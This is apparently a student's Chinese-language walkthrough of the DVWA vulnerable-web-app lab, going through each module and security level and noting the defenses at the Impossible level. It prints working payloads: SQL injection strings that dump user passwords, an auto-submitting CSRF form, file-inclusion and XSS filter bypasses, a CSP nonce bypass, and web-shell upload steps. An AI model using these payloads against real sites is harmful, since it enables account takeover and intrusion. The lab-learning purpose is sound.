寒假任务 DVWA靶场通关
一、Brute Force
1.Low
方法1.
进入靶场根据题目显然是让我们破解出密码因为安全等级最低因此我们首先想到的是进行暴力破解
方法:使用爆破工具burpsuit进行常规操作抓包使用密码本也可以同时对账号和密码进行爆破**(注意:攻击类型选择Cluster bomb)如图:**
爆破结果如图:
说明用户名和密码分别是:admin password
分别输入提交结果如图:
源码分析:
<?php
if( isset( $_GET[ 'Login' ] ) ) {
//先看看是否存在Login参数
$user = $_GET[ 'username' ];
//获取用户名并将其存放到变量$user中
$pass = $_GET[ 'password' ];
//获取密码并将其存放在变量$pass中
$pass = md5( $pass );
//将储存在变量$pass中的密码使用md5加密
$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';";
//构建SQL语句以users表为查询目标并使用user和password字段进行筛选
//注意:这段代码存在SQL注入的风险 因为它直接将变量插入到SQL查询字符串中
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//使用mysqli扩展库进行SQl查询,(查在数据库中查变量$query内容)并将查询结果储存在变量$result中,如果查到了就保存用户具体信息没查到就返回false,$result为空
if( $result && mysqli_num_rows( $result )== 1 ) {
//如果结果存在只有一条则说明条件成立
$row = mysqli_fetch_assoc( $result );
//查询的结果数据存储在键值对$row中
$avatar = $row["avatar"];
//根据下面的两行代码可知此操作是获取登录成功的照片
// Login successful
echo "<p>Welcome to the password protected area {$user}</p>";
echo "<img src=\"{$avatar}\" />";
//登录成功后分别输出 Welcome to the password protected area 和一张照片
}
else {
// Login failed
echo "<pre><br />Username and/or password incorrect.</pre>";
//这时登录失败的情况输出Username and/or password incorrect.
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
//关闭MySQL数据库的连接(如果关闭失败会返回false)
}
?>
方法2.
通过源代码的分析我们可以发现以源代码存在SQL注入的风险因此我们可以通过对源代码的观察写出对应的SQL注入攻击的语句:
admin'or'1'='1' limit 1 #
其中’1’='1’表示条件始终为真limit 1表示只取SQL查询结果的第一行 #表示将后面的代码注释掉
或者
admin'or'1'='1
结合源代码可知因为and的优先级大于or所以or’1’='1’可以使整个判断语句为真但是必须要有or
'or之前可以是任意值
2.Medium
这个等级的源码只需要 sleep( 2 ) 即可这段代码表示每次登录失败后会延时2秒只不过需要更久的时间破解其他没有不同
一样使用burp进行暴力破解即可
如图:
根据长度可知admin password为正确的账户和密码
如图:
3.High
这一关与之前的区别主要在于token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
Token是在客户端频繁向服务端请求数据服务端频繁的去数据库查询用户名和密码并进行对比判断用户名和密码正确与否并作出相应提示在这样的背景下Token便应运而生
Token是服务端生成的一串字符串,以作客户端进行请求的一个令牌,当第一次登录后,服务器生成一个Token便将此Token返回给客户端,以后客户端只需带上这个Token前来请求数据即可,无需再次带上用户名和密码
注意:这是因为将一个随机产生的Token加入请求之后,每次请求Token都会改变
接下来我们开始闯关,首先进行抓包
如图:
在这里我们要爆破的内容是密码和token,选中然后再设置攻击模式
如图:
线程设置为一
如图:
在grep-extract中点击add,选择refetch response点击ok
复制token的值 后面要用
如图:
然后开始设置负载对于第一个参数就是密码我们采用字典爆破,导入字典
第二个参数是token如下图进行设置 在payload option中粘贴token的值注意:如果第一次爆破失败第二次要从新抓包在进行爆破因为token的值会改变
如图:
部设置完成开始进行爆破找出不同数字即为最终结果
如图:
由上图可知password为正确密码输入回车即可
如图:
4.Impossible
此题和上一题的区别为加上了用户锁定一旦登录超过3次用户就会被锁定15秒无法登录
如图:
所以我们无法在短时间里通过burp将拥护密码爆出
$data->bindParam( ':user', $user, PDO::PARAM_STR );
同时采用了更为安全的PDO(PHP Data Object)机制防御sql注入这里因为不能使用PDO扩展本身执行任何数据库操作,而sql注入的关键就是通过破坏sql语句结构执行恶意的sql命令
二、Command Injection
1.Low
输入127.0.0.1进行测试类似于ping命令 出现了乱码
如图:
找到DVWA中对应的文件 然后把编码形式进行修改,意思就是把utf-8改为gb2312
如图:
保存退出如图:
然后试着查看网络配置信息
如图:
查看系统信息
如图:
查看目录
如图:
ok 下一关
2.Medium
首先分析源代码
会将我们传入的值中的&&和;替换成’ ‘在执行
但是不影响我们使用&
注:
&
是一个逻辑运算符,用于表示逻辑与(AND)操作。它用于将两个条件连接起来,只有当两个条件都为真时,整个表达式才为真。&&
也是一个逻辑运算符,用于表示逻辑与(AND)操作。与&
不同的是,&&
具有短路特性。这意味着如果第一个条件为假,那么第二个条件将不会被执行,因为整个表达式已经确定为假
如图:
ok 下一关
3.High
打开源代码看一下发现好多字符都被替换掉了
如图:
嘿嘿嘿,仔细看就会发现它过滤的是’| ‘而不是’|‘它的有空格所以我们依然可以使用没有空格的’|'来绕过
如图:
ok 下一关
4.Impossible
接下来看一下 Impossible 的代码学习一下安全的过滤方式
<?php
// 检查是否提交了表单
if( isset( $_POST[ 'Submit' ] ) ) {
// 检查令牌
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取输入
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// 将 IP 地址拆分为 4 个八位组
$octet = explode( ".", $target );
// 检查每个八位组是否为整数
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// 如果所有 4 个八位组都是整数,则重新组合 IP 地址
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// 确定操作系统并执行 ping 命令
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// 反馈给最终用户
$html .= "<pre>{$cmd}</pre>";
}
else {
// 出错,告知用户存在错误的 IP 地址
$html .= '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// 生成令牌
generateSessionToken();
?>
注:Token是首次登陆时由服务器下发作为客户端进行请求的一个令牌当交互时用于身份验证的一种验证机制当第一次登录后服务器生成一个Token便将此Token返回给客户端以后客户端只需带上这个Token前来请求数据即可无需再次带上用户名和密码
三、CSRF
(建议看这一关之前先去看看xss那关)
csrf跨站请求伪造:是一种对网站的恶意利用通过伪造来自受信任用户的请求来利用受信任的网站本质来说就是在你访问网站信息的同时盗用你的cookie用你的身份进行一些非法操作
1.Low
进入这一关后可以知道它然我们修改密码然后我们进行修改并将其提交
如图:
由图片可知是Get传参
只需要攻击者让用户访问如下网址:
http://127.0.0.1/DVWA/digininja-DVWA-34a10d4/vulnerabilities/csrf/?password_new=111&password_conf=111&Change=Change#
受害者点击这个网址的话就会把密码修改为:111
当然一般谁会点这一大长串连接这是我们可以利用站长工具这样就可以将这个连接重定向到一个短链接中
就会生成这个短链接:http://suo.im/5LkFdh
但是我们可以curl一下这个链接这样就可以重定向到原来的链接了
curl的更多用法详见:https://www.ruanyifeng.com/blog/2019/09/curl-reference.html挺详细的建议看一下
如图:
Location后面跟着的便是原来的链接
如图可以看到我们已经更改成功原密码已经失效
这便是跨网站请求了此网站受信任用户的身份进行了密码修改的操作
2.Medium
在此等级中增加了referer判断只有 HTTP_REFERER 和 SERVER_NAME 不是来自同一个域才能进入修改密码的语句中
即:请求中的referer必须是服务器名意思是你这个请求必须来自他自己的页面不能是其他人提供的
如图:
图中我已经将原网站的referer改了提交后便显示请求不正确
如图:
在实战中如果我们想通过别人点击我们所发送的链接来更改的话我们的域名肯定和原网站服务器的域名不一样这就需要我们去进行更改
当然受害者肯定不会帮我们手动添加 referer 的,因为代码使用了 stripos
函数来检测 referer,所以这个时候我们得自己构造好一个 html 页面表单:Html
<html>
<head>
<meta charset="utf-8">
<title>CSRF</title>
</head>
<body>
<form method="get" id="csrf" action="http://127.0.0.1:8888/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="222">
<input type="hidden" name="password_conf" value="222">
<input type="hidden" name="Change" value="Change"></form>
<script> document.forms["csrf"].submit(); </script>
</body>
</html>
该表单通过Javascript
<script> document.forms["csrf"].submit(); </script>
实现自动触发提交 id 为 csrf 的表单
自动提交完成后密码便完成了修改我们的目的也就达成了
3.High
在这一关,我们输入相关内容是发现地址带入了token,这个时候我们需要借助上一关的存储型xss来爆出token
我们首先进入存储型xss High级别
如图:
4.Impossible
此关代码利用PDO技术防御SQL注入 又要求用户输入原始密码来防止CSRF攻击者在不知道原始密码的情况下无论如何都无法进行CSRF攻击
四、File Inclusion
什么是文件包含漏洞:
简单的来说就是服务器通过php的特性(函数的特性)去包含任意文件时,由于对包含的这个文件来源过滤不严,从而可去包含一个恶意的文件,而我们构造的这个恶意的文件来达到的目的
函数:allow_url_fopen,allow_url_include开启
在phpstudy中
如图:
allow_url_fopen = On
允许将URL(如http://或ftp://)作为文件处理
allow_url_include = On
允许include/require打开URL(如http://或ftp://)作为文件处理
1.Low
我们可以先看源代码
如图:
我们发现它没有做任何过滤通过get方式提交
然后就可以在地址栏的位置输入一个文件地址
如图:
如上图所示成功利用文件包含漏洞
然后我们就可以看到php配置的相关信息
2.Medium
如图:
此关对传入的参数进行了过滤过滤掉了
http:// https:// ../ ..\\
以上四个字符串
本地文件包含:
但是不影响我们使用本地的路径来包含文件
如图:
远程文件包含
再看远程文件包含,过滤了 http://
和 https://
,因为使用的是 str_replace 替换为空,所以这里可以使用常规套路,就是嵌套双写绕过。具体的 payload 如下:
/fi/?page=hhttps://ttps://www.sqlsec.com/info.txt
str_replace 函数处理之后就变成了如下情况:
/fi/?page=https://www.sqlsec.com/info.txt
又因为正则匹配没有不区分大小写,所以这里通过大小写转换也是可以成功绕过:
/fi/?page=HTTPS://www.sqlsec.com/info.txt
3.High
首先查看源代码如图:
以上代码要求我们传入的参数必须要以file开头而且不能是include.php才能包含文件
这里刚好可以使用 file:// 协议来进行文件读取
如图:
注:"file://"是统一资源定位符(URL)中的协议部分,用于指示文件系
统路径。在这种URL中,"file://“后面紧跟着文件的绝对路径,例如"D:\phpstudy_pro\WWW\file phpinfo().php”。这种URL格式通常用于指向本地文件系统中的文件,而不是通过网络访问的文件
4.Impossible
然后我们看一下安全的情况是如何构成的
如图:
这其实就是一个白名单
只允许包含指定的这几个php文件其他的就不行
五、File Upload
1.Low
随便上传一个文件,我们发现图片PNG格式是可以的,继续,PHP格式
发现也是可以的
那我们可以直接上传一句话木马
然后使用蚁剑连接便可以获取服务器的所有文件信息
2.Medium
如图:
我们发现这一关只允许上传JPEG和PNG文件
但是我们可以先将我们php文件的后缀更改为png后再在上传时通过bp改成php即可
如图:
上传成功
如图:
再访问到对应的文件看看是否正常
如图:
3.High
这一关不仅对文件格式有限制它对文件大小也进行了限制
我们可以通过制作图片码的方式来传马
如图:
然后我们将2.png传入即可
然后我们进入到Low等级的文件包含中打开我们的文件即可
如图:
4.Impossible
<?php
// 检查是否点击了名为'Upload'的按钮
if( isset( $_POST[ 'Upload' ] ) ) {
// 检查令牌,确保请求是合法的
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// 获取上传文件的信息,包括文件名、扩展名、大小、类型和临时路径
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; // 获取上传文件的名称
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); // 获取文件扩展名
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; // 获取上传文件的大小
$uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; // 获取上传文件的类型
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // 获取临时文件路径
// 定义上传文件的目标路径和文件名,并生成临时文件名
$target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/';
$target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // 生成唯一的目标文件名
$temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) );
$temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // 生成唯一的临时文件名
// 检查上传文件是否为图片,并满足特定条件(如文件类型、大小等)
if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) &&
( $uploaded_size < 100000 ) &&
( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) &&
getimagesize( $uploaded_tmp ) ) {
if( $uploaded_type == 'image/jpeg' ) {
$img = imagecreatefromjpeg( $uploaded_tmp );
imagejpeg( $img, $temp_file, 100);
}
else {
$img = imagecreatefrompng( $uploaded_tmp );
imagepng( $img, $temp_file, 9);
}
imagedestroy( $img );
// 将文件从临时文件夹移动到Web根目录
if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
// 文件成功上传
$html .= "<pre><a href='{$target_path}{$target_file}'>{$target_file}</a> 上传成功!</pre>";
}
else {
// 文件上传失败
$html .= '<pre>您的图片未上传。</pre>';
}
// 删除任何临时文件
if( file_exists( $temp_file ) )
unlink( $temp_file );
}
else {
// 无效的文件类型
$html .= '<pre>您的图片未上传。我们只接受JPEG或PNG图片。</pre>';
}
}
// 生成令牌
generateSessionToken();
?>
文件名随机这里就无法使用截断、重写图片的话,使用图马就也无法绕过
而且也使用了Token
六、Insecure CAPTCHA
1.Low
经过对源码的分析可知
更改密码分为两个部分step 1为验证码并不显示出来
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
recaptcha_check_answer
函数是用于验证用户提交的 reCAPTCHA 响应是否正确的函数。- 它接受两个参数:
$_DVWA['recaptcha_private_key']
:这是您的 reCAPTCHA 私钥,用于验证用户提交的 reCAPTCHA 响应。$_POST['g-recaptcha-response']
:这是用户在 reCAPTCHA 验证中生成的响应,用于验证用户是否通过了 reCAPTCHA 验证。
- 函数返回一个响应对象
$resp
,该对象包含了验证结果以及可能的错误信息。
在这段代码中,$resp
变量将包含 reCAPTCHA 验证的结果,您可以根据这个结果来决定用户是否通过了 reCAPTCHA 验证,并相应地执行后续的操作,比如允许用户提交表单或者拒绝提交等。
需要注意的是,reCAPTCHA 是谷歌提供的一种验证码服务,用于防止恶意机器人提交表单或进行恶意操作。通过调用 recaptcha_check_answer
函数来进行人机验证
step 2为更改密码
我们可以直接跳转到step 2来跳过验证码
如图:
改完后发包即可
如图:
2.Medium
此关与上一关的不同点是在step 2中检查用户是否通过了CAPTCHA验证
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
只有返回值为ture时才能修改
所以我们使用bp抓包改包时要在上一关的基础上再加上passed_captcha=ture
如图:
然后发送改好的包即可
如图:
3.High
由源码可知这一关对于验证和密码更改没有分开
以下代码便是我们的突破点
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'//用于检查用户的浏览器代理字符串是否为 'reCAPTCHA'这个条件语句通常用于在服务器端验证请求是否来自reCAPTCHA服务
)
)
我们可以进行伪造绕过$resp没有办法改变是服务器给的key但是我们可以伪造g-recaptcha-response=hidd3n_valu3
如图:
改完发送即可
如图:
4.Impossible
Impossible级别的代码增加token机制防御CSRF攻击
利用PDO技术防护sql注入且验证过程不再分成两部分了
同时要求用户输入之前的密码
如图:
七、SQL Injection
1.Low
首先查看注入点
1’ – asd
然后猜字段
如图:
由图可知存在两个字段
然后显示报错位
如图:
由图可知1 2均可显示出来
然后查找库名
如图:
然后查找库里的表名
如图:
然后查找user表里的字段
如图:
然后查找password的数据
如图:
2.Medium
此看完源代码后发现它对特殊字符进行了转义
如图:
而且在页面只能通过下拉菜单栏的方式来选择要输入的ID
因此我们可以选择通过使用burp改包的方式来传入我们想要输入的数据
如图:
先尝试是否存在注入
1 and 1=1 --asd
如图:
说明存在然后我们尝试找显错位发现单引号会被转义
如图:
然后猜字段最终判断存在2个字段
1 order by 5 -- asd
1 order by 3 -- asd
1 order by 2 -- asd
显示报错位
1 union select 1,2 -- asd
查找库名
-1 union select 1,database()-- sd
查找当前数据库中的表
-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- sd
查找表users中的字段
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x27757365727327 -- sd
查找字段中的数据
-1 union select group_concat(user),group_concat(password) from users -- sd
3.High
这一关使用了session会话的方式来获取ID其他的跟Low没什么不同
直接在框里提交即可都不需要使用burp
如图:
4.Impossible
首先:此关的代码checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
是一个函数调用用于检查用户提交的 token 是否与会话中存储的 token 匹配
这种机制通常用于确保表单提交的安全性以防止跨站请求伪造(CSRF)攻击
其次以上代码检验ID是否为数字只有为数字的时候才会执行查询
再次有预编译语句可以有效防止SQL注入
最后以上代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入同时只有返回的查询结果数量为一时,才会成功输出
八、SQL Injection (Blind)
判断是否存在注入的两种盲注方法
布尔盲注
可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。
时间盲注
通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
1.Low
此关没有对输入的ID进行处理但是只会返回固定的两个值
num大于0输出User ID exists in the database
num小于等于0 输出User ID is MISSING from the database
因此我们只能通过猜测来确定我们想得到的数据
查找库名(以数据库名的第一个字母为例)(最终查到的库名:dvwn)
输入__1’ and (select ascii(substr(database(),1,1)) > 111) – asd__时
如图:
输入__1’ and (select ascii(substr(database(),1,1)) > 99) – asd__时
如图:
最终确定数据库第一个字母对应的ascii值为100
也就是说第一个字母为d
- 查找表名
1’ and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1,1)) > 101) – asd
- 查找表中的第一个字段名
1’ and (select ascii(substr((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘guestbook’ limit 0,1),1,1)) > 101) – asd
- 查找数据库中第一个表中第一个字段中的第一个数据的第一个字母
1’ and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) >40) – asd
其余数据以此类推
2.Medium
Medium级别的代码利用mysql_real_escape_string函数对特殊符号进行转义同时在前端页面设置了下拉选择表单
以此来限制用户的输入
和普通的SQL注入方式差不多只是需要BP来抓包修改参数值
具体注入方式参考此关的low和上一关的Medium即可
and (select ascii(substr(database(),1,1)) <114) – asd
1 and (select ascii(substr((select table_name from information_schema.tables where table_schema=‘dvwa’ limit 0,1),1,1)) > 102) – asd
1 and (select ascii(substr((select column_name from information_schema.columns where table_schema=‘dvwa’ and table_name=‘guestbook’ limit 0,1),1,1)) >100)-- asd
1 and (select ascii(substr((select comment_id from guestbook limit 0,1),1,1)) >50)-- asd
3.High
此关limit限制查询只能为1条
如图:
且返回MISSING时会随机执行sleep()函数会延迟在2-4s之间
如图:
除此之外跟Low没有区别
4.Impossible
-
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才会验证通过
如图:
- 利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
如图:
- 代码采用了PDO技术 划清了代码与数据的界限 有效防御SQL注入还有 预编译语句以防止了SQL注入
如图:
- 只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
如图:
九、Weak Session IDs
Weak Session IDs(弱会话),用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。
但是 session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问,用户服务器的内容了。
1.Low
源码分析
服务器每次生成的session_id加1给客户端, setcookie("dvwaSession", $cookie_value);
就是设置session的值
抓包查看Cookie
如图:
将以上Cookie复制
并到请求链接中:
然后抓这个链接的包并将里面的Cookie值改成上面复制的Cookie发包后便可以直接登录
如图:
2.Medium
源码分析
采用time函数获取时间戳 作为cookie值
如图:
然后进行抓包
然后操作和上一关一样
3.High
-
首先使用!isset()函数对session变量进行检查,如果没有进行赋值。则设置为0,然后每一次都递增1。
-
然后将session变量进行MD5加密后赋值为cookie_value变量。
如图:
如图:
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
dvwaSession
:这是要设置的 cookie 的名称。$cookie_value
:这是要分配给 cookie 的值,通常是一个字符串。time()+3600
:这是 cookie 的过期时间,表示当前时间戳加上 3600 秒,即 1 小时后过期。"/vulnerabilities/weak_id/"
:这是指定了 cookie 可用的路径,只有在指定的路径下才能访问到这个 cookie。$_SERVER['HTTP_HOST']
:这是指定了 cookie 可用的域名,只有在指定的域名下才能访问到这个 cookie。
然后开始抓包
发现请求参数其实和安全等级为medium一样的发给重发器看下
进行md5解密
把构造的cookie复制:dvwaSession=c4ca4238a0b923820dcc509a6f75849b; security=high; PHPSESSID=48irlbhh616ri2kgj2ls9fpl78;
打开火狐浏览器,输入url,抓包拦截,修改cookie的值
4.Impossible
$cookie_value采用随机数+时间戳+固定字符串”Impossible”,再进行sha1运算完全不能猜测到dvwaSession的值
如图:
注:sha1运算就是一种加密算法
十、XSS (DOM)
DOM—based XSS漏洞是基于文档对象模型的一种漏洞。DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。DOM中有很多对象,其中一些是用户可以操纵的,如uRI,location,refelTer等。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM—based XSS漏洞
1.Low
源代码显示不存在任何保护
搞个弹窗试一哈 payload: ?default=
如图:
2.Medium
代码分析
过滤掉了“<script”,当函数匹配到 <script 字符串的时候就会将URL后面的参数修正为 ?default=English
如图:
我们可以换个标签
</option></select><img src=x onerror=alert(1)>
payload详解:
</option></select>
:这是一些 HTML 结束标签,可能是为了终止之前的 HTML 元素。<img src=x onerror=alert(1)>
:这是一个<img>
标签,其中的src
属性被设置为x
,而onerror
属性中包含了 JavaScript 代码alert(1)
。这意味着如果加载图像时发生错误就会执行alert(1)
这段 JavaScript 代码因为src=x根本不存在所以一定会执行alert(1)
如图:
3.High
在以上代码中就相当于使用了白名单只能输入允许的值
这里就要用到URL中的一个特殊字符#,这个字符后的数据不会发送到服务器端,相当于绕过了后端的过滤,不需要与服务端进行交互,直接在客户端处理数据的阶段执行
payload:
?#default=<script>alert(1)</script>
如图:
4.Impossible
有源码可知:
Don’t need to do anything, protction handled on the client side
不需要做任何事情,保护就在客户端
如图:
发现我们输入的任何数据全部无效了,无法实现XSS
十一、XSS (Reflected)
XSS反射型漏洞
反射型XSS,顾名思义在于“反射”这个一来一回的过程。反射型XSS的触发有后端的参与,而之所以触发XSS是因为后端解析用户在前端输入的带有XSS性质的脚本或者脚本的data URI编码,后端解析用户输入处理后返回给前端,由浏览器解析这段XSS脚本,触发XSS漏洞
1.Low
后端代码只是判断了 name 参数是否为空,如果不为空的话就直接打印出来。服务器并没有对 name 参数做任何的过滤和检查
如图:
因此我们直接传入
<script>alert(1)</script>
如图:
2.Medium
此关过滤了传入数据中的
如图:
- 我们可以换个标签
</option></select><img src=x onerror=alert(1)>
至于为什么详见第十关的Medium
如图:
-
还可以使用大小写绕过。
<sCript>alert(1)</scRipt>
如图:
-
或者使用双写绕过
<sc<script>ript>alert(1)</script>
如图:
3.High
由上图可知:
preg_replace() 函数执行一个正则表达式的搜索和替换,“*” 代表连续匹配任意字符,“i” 代表不区分大小写
也就是说 “< script >” 标签在这里被完全过滤了,但是我们可以通过其他的标签例如 img、body 等标签的事件或者iframe 等标签的 src 注入 JS 攻击脚本
<img src = 1 onerror = alert(1)>
或者
</option></select><img src=x onerror=alert(1)>
如图:
4. Impossible
由图可知:
htmlspecialchars() 函数用于把预定义的字符 “<” 和 “>” 转换为 HTML 实体,防止了我们注入 HTML 标签
htmlspecialchars 函数会将 < 和 > 转换成 html 实体而不是当做标签,所以我们插入的语句并不会被执行
同时加入token防护 CSRF 攻击,进一步提高安全性
十二、XSS (Stored)
XSS存储型攻击,攻击者事先将恶意代码上传或储存到漏洞服务器中,只要受害者浏览包含此恶意代码的页面就会执行恶意代码
1.Low
源码中出现的不认识的函数:
(1)trim()函数
语法:
trim(string,charlist)
参数 | 描述 | ||||
---|---|---|---|---|---|
string | 必需。规定要检查的字符串。 | ||||
charlist | 可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:“\0” - NULL"\t" - 制表符"\n" - 换行"\x0B" - 垂直制表符"\r" - 回车" " - 空格 |
(2)stripslashes()函数
语法:
stripslashes(string)
参数 | 描述 |
---|---|
string | 必需。规定要检查的字符串。 |
用于删除反斜杠,可用于清理从数据库中或者从 HTML 表单中取回的数据。
<> 没有做过滤与检查而且数据将被存储到数据库中,因此存在存储型XSS
name处有长度限制因此直接在message一栏使用我们的代码尝试:
<script>alert(1)</script>
如图:
然后查看数据库发现已经储存到数据库中
如图:
注意:在进行下一个等级之前先把这条数据给删了
2.Medium
Message处使用了htmlspecialchars()函数,将字符全部转为了HTML实体,而且使用了strip_tags函数会将字符串中HTML 和 PHP 标签去除
因此Message处无法使用XSS形成攻击。
name处做了长度限制,因此考虑使用抓包在bp中修改name的值,还有就是他会将
大小写绕过:<scRIpt>alert(1)</SCript>
双写绕过:<scr<script>ipt>alert(1)</script>
如图:
改好包后发送即可
如图:
数据库结果如图:
同样 注意:在进行下一个等级之前先把这条数据给删了
3.High
跟十一关的High等级相似“< script >” 标签在这里被完全过滤且无法通过Message来进行xss
代码如图:
payload为:
<img src = 1 onerror = alert(1)>
或者
</option></select><img src=x onerror=alert(1)>
至于为什么详见第十关的Medium
同样使用bp改包发包
如图:
发包结果如图:
数据库显示如图:
4.Impossible
如图:
将输入的内容全部实例化标签无法执行输入的所有内容均无效
还使用了PDO将代码和数据库分离,还有对语句进行预编译,这两种方法均能有效的防止SQL注入
还加了token 进一步提高了安全性
十三、CSP Bypass
CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单
两种方法可以启用 CSP
一种是通过 HTTP 响应头信息的Content-Security-Policy字段
一种是通过网页的标签
例如
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;";
启用CSP后,不符合 CSP 的外部资源就会被阻止加载
script-src, //脚本:只信任当前域名
object-src: //不信任任何URL,即不加载任何资源
style-src, //样式表:只信任cdn.example.org和third-party.org
1.Low
分析源码不难看出白名单网址为
self
https://pastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com
其中 https://pastebin.com 是一个快速分享文本内容的网站,这个内容我们是可控的,可以在这里面插入 XSS 攻击语句
如图:
点击create new paste
点击raw
将网址复制到图中的位置回车即可
2.Medium
源码如下,HTTP 头信息中的 script-src 的合法来源发生了变化。script-src 还可以设置一些特殊值,unsafe-inline 允许执行页面内嵌的
现在就不是从外界导入 JavaScript 资源了,而是直接通过内联 JavaScript 代码,注入时直接令 nonce 为设定好的值即可。
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=" > alert('1')</script>
如图:
3.High
经对源码的查看
因为CSP 规则限制,只能引用允许self 的脚本执行
self是指本页面加载的脚本,服务器只信任自己的域名,只允许加载本界面的JavaScript代码,这样的话自能从客户端本身动手脚了
这关的突破点在于自己给参数,创造传参
POST 提交的 include 参数直接放到了 body 源码中
所以这里我们可以自己修改include 来进行弹窗
payload:
include=<script src="source/jsonp.php?callback=alert('1');"></script>
如图:
4.Impossible
这关直接把js写死了,只能回调 JS 里面的 solveSum 函数,所以就没办法啦
十四、JavaScript
1.Low
这个题有点小饶
<?php
$page[ 'body' ] .= <<<EOF
<script>
/*
MD5 code from here
https://github.com/blueimp/JavaScript-MD5
*/
